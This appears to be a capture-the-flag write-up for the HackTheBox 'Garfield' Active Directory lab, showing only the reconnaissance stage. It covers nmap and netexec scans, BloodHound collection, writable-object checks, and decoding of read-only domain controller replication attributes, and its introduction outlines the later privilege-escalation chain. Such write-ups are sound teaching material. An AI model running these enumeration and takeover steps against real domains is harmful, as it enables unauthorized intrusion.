Garfield

Garfield is an assume breach Active Directory box with a read-only domain controller hidden on an internal network behind the main DC. I’ll find I can write the logon script path for other users as well as files in the SYSVOL scripts folder, and use that to get a shell as the next user. That user can reset the password on their admin account, which has control over the RODC’s computer object. I’ll get administrator access on the RODC two ways, by setting myself as its delegated administrator through a writable managedBy attribute, and with resource-based constrained delegation. Then I’ll rewrite the RODC’s password replication policy so the domain Administrator can be cached there, and show multiple ways to get Administrator, including forcing replication and forging an RODC golden ticket from both Windows and Linux.

Box Info

Hard
Release Date 04 Apr 2026
Retire Date 07 Nov 2026
OS Windows Windows
Rated Difficulty Rated difficulty for Garfield
Radar Graph Radar chart for Garfield
User
00:19:30ahos6
Root
00:45:050x4C616E
Creator ruycr4ft
Scenario
As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978

Recon

Initial Scanning

nmap finds 22 open TCP ports:

oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-01 20:12 UTC
Nmap scan report for 10.129.244.207
Host is up, received echo-reply ttl 127 (0.042s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
2179/tcp  open  vmrdp            syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
49677/tcp open  unknown          syn-ack ttl 127
49678/tcp open  unknown          syn-ack ttl 127
49904/tcp open  unknown          syn-ack ttl 127
53063/tcp open  unknown          syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds
oxdf@hacky$ sudo nmap -p 53,88,135,139,389,445,464,593,636,2179,3268,3269,3389,5985,9389,49667,49674,49675,49677,49678,49904,53063 -sCV 10.129.244.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-01 20:23 UTC
Nmap scan report for 10.129.244.207
Host is up (0.021s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-11-02 04:23:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-11-02T04:24:43+00:00; +8h00m04s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-11-01T04:06:11
|_Not valid after:  2027-05-03T04:06:11
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-11-02T04:24:02+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49904/tcp open  msrpc         Microsoft Windows RPC
53063/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m03s, deviation: 0s, median: 8h00m03s
| smb2-time:
|   date: 2026-11-02T04:24:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.86 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is garfield.htb, and the hostname is DC01.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.129.244.207 --generate-hosts-file hosts 
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts
oxdf@hacky$ head -1 /etc/hosts
10.129.244.207     DC01.garfield.htb garfield.htb DC01

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC01.garfield.htb before any actions that use Kerberos auth.

TCP 2179 is Hyper-V’s Virtual Machine Management Service, so there are likely VMs at play on this machine.

Initial Credentials

HackTheBox provides the following scenario associated with Garfield:

As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978

The creds do work:

oxdf@hacky$ netexec smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 

They also work for LDAP, but not WinRM or RDP (unsurprisingly):

oxdf@hacky$ netexec ldap garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
oxdf@hacky$ netexec winrm garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
WINRM       10.129.244.207  5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) 
WINRM       10.129.244.207  5985   DC01             [-] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
oxdf@hacky$ netexec rdp garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
RDP         10.129.244.207  3389   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (nla:True)
RDP         10.129.244.207  3389   DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

RDP shows the creds are good, but no “Pwn3d!” means I can’t use it to get a session.

Given that, I’ll want to prioritize things like:

  • SMB shares
  • ADCS
  • LDAP / BloodHound

SMB - TCP 445

Shares

SMB is offering the standard shares for a domain controller:

oxdf@hacky$ netexec smb garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SMB         10.129.244.207  445    DC01             [*] Enumerated shares
SMB         10.129.244.207  445    DC01             Share           Permissions            Remark
SMB         10.129.244.207  445    DC01             -----           -----------            ------
SMB         10.129.244.207  445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.244.207  445    DC01             C$                                     Default share
SMB         10.129.244.207  445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.244.207  445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.244.207  445    DC01             SYSVOL          READ                   Logon server share 

SYSVOL

There is a script in \\DC01.garfield.htb\SYSVOL\garfield.htb\scripts:

oxdf@hacky$ smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug 13 11:04:43 2025
  ..                                  D        0  Wed Aug 13 11:04:43 2025
  garfield.htb                       Dr        0  Wed Aug 13 11:04:43 2025

                9250815 blocks of size 4096. 973886 blocks available
smb: \> cd garfield.htb\
smb: \garfield.htb\> ls
  .                                   D        0  Wed Aug 13 11:11:05 2025
  ..                                  D        0  Wed Aug 13 11:11:05 2025
  DfsrPrivate                      DHSr        0  Wed Aug 13 11:11:05 2025
  Policies                            D        0  Wed Aug 13 11:04:48 2025
  scripts                             D        0  Tue Jan 27 22:13:47 2026

                9250815 blocks of size 4096. 973886 blocks available
smb: \garfield.htb\> cd scripts\
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Tue Jan 27 22:13:47 2026
  ..                                  D        0  Tue Jan 27 22:13:47 2026
  printerDetect.bat                   A      217  Fri Sep 12 22:20:29 2025

                9250815 blocks of size 4096. 973886 blocks available

This is the location where domains store their logon, logoff, startup, and shutdown scripts for the domain. I’ll download it:

smb: \garfield.htb\scripts\> get printerDetect.bat 
getting file \garfield.htb\scripts\printerDetect.bat of size 217 as printerDetect.bat (2.6 KiloBytes/sec) (average 2.6 KiloBytes/sec)

Despite netexec reporting this share as READ only, I am able to write to it:

smb: \garfield.htb\scripts\> put test.bat 
putting file test.bat as \garfield.htb\scripts\test.bat (0.1 kb/s) (average 0.1 kb/s)
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Mon Nov  2 21:41:31 2026
  ..                                  D        0  Mon Nov  2 21:41:31 2026
  printerDetect.bat                   A      217  Fri Sep 12 22:20:29 2025
  test.bat                            A        5  Mon Nov  2 21:41:31 2026

                9250815 blocks of size 4096. 973886 blocks available

And delete on it:

smb: \garfield.htb\scripts\> del test.bat
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Mon Nov  2 21:42:04 2026
  ..                                  D        0  Mon Nov  2 21:42:04 2026
  printerDetect.bat                   A      217  Fri Sep 12 22:20:29 2025

                9250815 blocks of size 4096. 973886 blocks available

printerDetect.bat isn’t interesting:

@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause

LDAP - TCP 389

ADCS

I’ll check for ADCS on this DC:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
ADCS        10.129.244.207  389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'

It doesn’t find anything. certipy shows it more explicitly:

oxdf@hacky$ certipy find -u j.arbuckle@garfield.htb -p 'Th1sD4mnC4t!@1978' -dc-ip 10.129.244.207 -ldap-scheme ldap -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities                 : [!] Could not find any CAs
Certificate Templates                   : [!] Could not find any certificate templates

certipy’s default LDAPS connection is reset by the DC, which fits with netexec’s “No TLS cert” finding. Both support the conclusion that ADCS is not configured.

Roasting

There are no roastable accounts on this box:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             [*] Skipping disabled account: krbtgt
LDAP        10.129.244.207  389    DC01             [*] Total of records returned 0
oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             No entries found!

gMSA

There are no gMSA accounts on Garfield:

oxdf@hacky$ netexec ldap 10.129.244.207 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
LDAP        10.129.244.207  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.244.207  389    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
LDAP        10.129.244.207  389    DC01             [*] Getting GMSA Passwords

BloodHound

I’ll collect BloodHound data with Rusthound-CE:

oxdf@hacky$ rusthound-ce --domain garfield.htb -f DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --zip
---------------------------------------------------
Initializing RustHound-CE at 21:30:14 on 11/01/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-11-01T21:30:14Z INFO  rusthound_ce] Verbosity level: Info
[2026-11-01T21:30:14Z INFO  rusthound_ce] Collection method: All
[2026-11-01T21:30:14Z INFO  rusthound_ce::transport::ldap] Connected to GARFIELD.HTB Active Directory!
[2026-11-01T21:30:14Z INFO  rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] All data collected for NamingContext DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=garfield,DC=htb
[2026-11-01T21:30:16Z INFO  rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-01T21:30:17Z INFO  rusthound_ce::transport::ldap] All data collected for NamingContext CN=Configuration,DC=garfield,DC=htb
[2026-11-01T21:30:17Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 15%
[2026-11-01T21:30:17Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-11-01T21:30:17Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-11-01T21:30:17Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-11-01T21:30:17Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-11-01T21:30:17Z INFO  rusthound_ce::modules::session] [sessions] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:17Z INFO  rusthound_ce::modules::session] [sessions] 0 session(s) enumerated in total across 0 host(s)
[2026-11-01T21:30:18Z INFO  rusthound_ce::modules::gpo::sysvol] [gpo] collected directives from 1 GPO(s) on DC01.garfield.htb SYSVOL
[2026-11-01T21:30:18Z INFO  rusthound_ce::modules] [gpo] mapping 1 GPO(s) to GPOChanges / UserRights
[2026-11-01T21:30:18Z INFO  rusthound_ce::modules::localgroup] [localgroups] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:18Z INFO  rusthound_ce::modules::localgroup] [localgroups] 0 edge(s) across 0 host(s)
[2026-11-01T21:30:18Z INFO  rusthound_ce::modules::webclient] [webclient] 0 active target(s) after expiry/enabled filter
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 8 users parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 63 groups parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 2 computers parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-11-01T21:30:18Z INFO  rusthound_ce::json::maker::common] .//20261101213018_garfield-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 21:30:18 on 11/01/26! Happy Graphing!

I’ll load these into the BloodHound CE Docker container and take a look. j.arbuckle doesn’t have any outbound control. They are a member of the IT Support group:

BloodHound graph showing j.arbuckle is a member of the IT Support and Domain Users groups

Writable Objects

Being in the IT Support group is a good signal that perhaps there may be some ACLs that BloodHound doesn’t pick up. I’ll use bloodyAD to check for writable objects:

oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable

distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD

This returns eight results. Running with --detail shows exactly what can be written (which is a ton of output):

Permission Object Notes
WRITE Guest user Can write scriptPath.
WRITE FSP object for Authenticated Users group Can write url and wwwHomePage.
WRITE krbtgt_8245 user This account belongs to a Read-Only Domain Controller (RODC), which says both that one of these exists, and that j.arbuckle can write scriptPath on the account.
WRITE Jon Arbuckle Default write over self.
WRITE Liz Wilson Can write scriptPath.
WRITE Liz Wilson ADM This is potentially an admin account. Can write scriptPath.
CREATE_CHILD garfield.htb domain Default DNS access creating DNS records.
CREATE_CHILD _msdcs.garfield.htb domain Default DNS access creating DNS records.

Notes of interest:

  • Accounts matching the pattern krbtgt_<number> are from Read-Only Domain Controllers. While DCs share the same krbtgt account, RODCs each create their own krbtgt account.
  • The existence of multiple DCs fits with the use of Hyper-V called out in the nmap scan.
  • It seems like perhaps IT Support users can write the scriptPath of any user in the Domain Users group with adminCount of false:
BloodHound graph of Domain Users members, including j.arbuckle, l.wilson, l.wilson_adm, Administrator, krbtgt, and krbtgt_8245

RODC

Given there’s a RODC, I’ll enumerate that a bit further. BloodHound shows the Domain Controllers group has only DC01:

BloodHound graph showing DC01 as the only member of the Domain Controllers group

The Read-Only Domain Controllers group has RODC01:

BloodHound graph showing RODC01 as a member of the Read-Only Domain Controllers group

If I check the Domain Controllers OU, both are there:

BloodHound graph showing the Domain Controllers OU contains both DC01 and RODC01

I’ll use ldapsearch to look for all the computer objects in the Domain Controllers OU for some interesting and RODC-related fields:

oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'OU=Domain Controllers,DC=garfield,DC=htb' '(objectClass=computer)' cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers
# extended LDIF
#
# LDAPv3
# base <OU=Domain Controllers,DC=garfield,DC=htb> with scope subtree
# filter: (objectClass=computer)
# requesting: cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers
#

# DC01, Domain Controllers, garfield.htb
dn: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
cn: DC01
operatingSystem: Windows Server 2019 Standard
dNSHostName: DC01.garfield.htb

# RODC01, Domain Controllers, garfield.htb
dn: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
cn: RODC01
operatingSystem: Windows Server 2019 Datacenter
dNSHostName: RODC01.garfield.htb
msDS-KrbTgtLink: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A000090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800031400000000000003140000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A00090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:3700090001000000134FB21E0300000066BB08AAF89CCD47A0E704FEB66E800030400000000000003040000000000000:CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A0000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D000900060000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC141000200000000004100020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:37000900070000002EF2DD1F03000000E1CABA19995EAB4EBB44A9D51ABD9DC140000200000000004000020000000000:CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:A00009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:7D0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9EB10000000000009EB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5E0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:5A0009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-RevealedUsers: B:96:370009000700000052D8D41E03000000CC2053E8BC5706489E8A6EA5D630B51B9DB10000000000009DB1000000000000:CN=Administrator,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Administrators,CN=Builtin,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2

DC01 is Windows Server 2019 Standard, while RODC01 is Windows Server 2019 Datacenter.

msDS-KrbTgtLink shows the link to the RODC krbtgt account.

Three attributes show information about the RODC:

  • msDS-RevealedUsers - shows three users that have been cached on this RODC, krbtgt_8245, RODC01$, and Administrator. Caching the Administrator account is unusual.
  • msDS-NeverRevealGroup - shows groups that should never be cached here. On this machine it’s Denied RODC Password Replication Group, Account Operators, Server Operators, Backup Operators, and Administrators.
  • msDS-RevealOnDemandGroup - shows groups that can be cached here. For Garfield, it’s the Allowed RODC Password Replication Group.

It’s not clear how the Administrator account was cached while being in a msDS-NeverRevealGroup.

For each msDS-RevealedUsers entry, I can decode the hex data associated with it:

Bytes Field
0–3 Attribute ID, e.g. 0x9005A = unicodePwd, 0x9007D = supplementalCredentials
4–7 Version of that attribute when it was sent
8–15 Time of the last originating change (seconds since 1601)
16–47 Replication metadata

I’ll write a short Python script that reads lines from stdin and processes them if they are revealed users:

import struct
import sys
from datetime import datetime, timedelta

names = {
    0x9005A: "unicodePwd",
    0x9005E: "ntPwdHistory",
    0x90037: "dBCSPwd",
    0x900A0: "lmPwdHistory",
    0x9007D: "supplementalCredentials",
}

for line in sys.stdin:
    if not line.startswith("msDS-RevealedUsers:"):
        continue
    _, _, _, h, dn = line.split(":", 4)
    attrib, version, timeint = struct.unpack("<IIQ", bytes.fromhex(h)[:16])
    time = datetime(1601, 1, 1) + timedelta(seconds=timeint)
    user = dn.split(",")[0].split("=")[1]

    print(f"{user}[{names[attrib]}] {version}: {time}")

This shows what is cached for each of the three users:

oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'OU=Domain Controllers,DC=garfield,DC=htb' '(objectClass=computer)' cn operatingSystem dNSHostName msDS-KrbTgtLink msDS-RevealOnDemandGroup msDS-NeverRevealGroup msDS-RevealedUsers | uv run decode_revealed_users.py 
krbtgt_8245[lmPwdHistory] 1: 2025-08-17 11:33:39
krbtgt_8245[supplementalCredentials] 1: 2025-08-17 11:33:39
krbtgt_8245[ntPwdHistory] 1: 2025-08-17 11:33:39
krbtgt_8245[unicodePwd] 1: 2025-08-17 11:33:39
krbtgt_8245[dBCSPwd] 1: 2025-08-17 11:33:39
RODC01[lmPwdHistory] 7: 2026-04-01 18:17:18
RODC01[supplementalCredentials] 6: 2026-04-01 18:17:18
RODC01[ntPwdHistory] 7: 2026-04-01 18:17:18
RODC01[unicodePwd] 7: 2026-04-01 18:17:18
RODC01[dBCSPwd] 7: 2026-04-01 18:17:18
Administrator[lmPwdHistory] 7: 2025-09-12 16:16:18
Administrator[supplementalCredentials] 7: 2025-09-12 16:16:18
Administrator[ntPwdHistory] 7: 2025-09-12 16:16:18
Administrator[unicodePwd] 7: 2025-09-12 16:16:18
Administrator[dBCSPwd] 7: 2025-09-12 16:16:18

The interesting one is the Administrator password. It’s in multiple groups that put it in the do not cache category, so it shouldn’t be here. I can get information about that password from DC01:

oxdf@hacky$ ldapsearch -x -o ldif-wrap=no -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w 'Th1sD4mnC4t!@1978' -b 'CN=Administrator,CN=Users,DC=garfield,DC=htb' -s base msDS-ReplAttributeMetaData | grep ^msDS | cut -d' ' -f 2 | while read line; do echo "$line" | base64 -d | tr -d '\0'; done | grep -A2 -E '<pszAttributeName>(unicodePwd|ntPwdHistory)<'
        <pszAttributeName>ntPwdHistory</pszAttributeName>
        <dwVersion>9</dwVersion>
        <ftimeLastOriginatingChange>2025-10-03T17:29:26Z</ftimeLastOriginatingChange>
--
        <pszAttributeName>unicodePwd</pszAttributeName>
        <dwVersion>9</dwVersion>
        <ftimeLastOriginatingChange>2025-10-03T17:29:26Z</ftimeLastOriginatingChange>

RODC01 has version 7 (12 Sept 2025), but DC01 has version 9 (3 Oct 2025). The version on the RODC is out of date, so even if I could read the cached hash from RODC01, it almost certainly is not the current password.

DNS Dump

bloodyAD will also give a dump of the DNS zone (which actually happens over LDAP):

oxdf@hacky$ bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb

recordName: garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
NS: dc01.garfield.htb
A: 10.129.244.207; 192.168.100.1

